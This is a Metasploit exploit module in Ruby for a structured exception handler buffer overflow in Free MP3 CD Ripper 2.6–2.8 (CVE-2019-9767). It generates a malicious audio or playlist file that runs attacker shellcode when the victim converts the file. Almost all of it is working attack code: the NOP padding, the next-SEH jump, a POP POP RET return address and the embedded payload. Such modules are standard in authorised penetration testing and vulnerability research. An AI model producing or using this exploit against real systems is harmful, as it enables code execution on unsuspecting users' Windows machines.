## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::Seh def initialize(info={}) super(update_info(info, 'Name' => "Free MP3 CD Ripper 2.6 < 2.8 (.wma.wav.flac.m3u.acc) Buffer Overflow", 'Description' => %q{ This module exploits a buffer overflow in Free MP3 CD Ripper versions 2.6 and 2.8. By constructing a specially crafted WMA WAV M3U ACC FLAC file and attempting to convert it to an MP3 file in the application, a buffer is overwritten, which allows for running shellcode. }, 'License' => MSF_LICENSE, 'Author' => [ 'Gionathan Reale', # Exploit-DB POC 'ZwX' # Metasploit Module ], 'References' => [ [ 'CVE', '2019-9767' ], [ 'EDB', '45412' ], [ 'URL', 'https://www.exploit-db.com/exploits/45412' ] ], 'Platform' => 'win', 'Targets' => [ [ 'Windows 7 x86 - Windows 7 x64', { 'Ret' => 0x66e42121 # POP POP RET } ] ], 'Payload' => { 'BadChars' => "\x00\x0a\x0d\x2f" }, 'Privileged' => false, 'DisclosureDate' => "Sep 09 2018", 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [true, 'Create malicious file example extension (.wma .wav .acc .flac .m3u)', 'name.wma']) ]) end def exploit file_payload = payload.encoded msfsploit = make_fast_nops(4116) msfsploit << "\xeb\x06#{Rex::Text.rand_text_alpha(2, payload_badchars)}" # NSEH_JMP msfsploit << [target.ret].pack("V*") # SEH msfsploit << file_payload msfsploit << make_fast_nops(4440) file_create(msfsploit) end end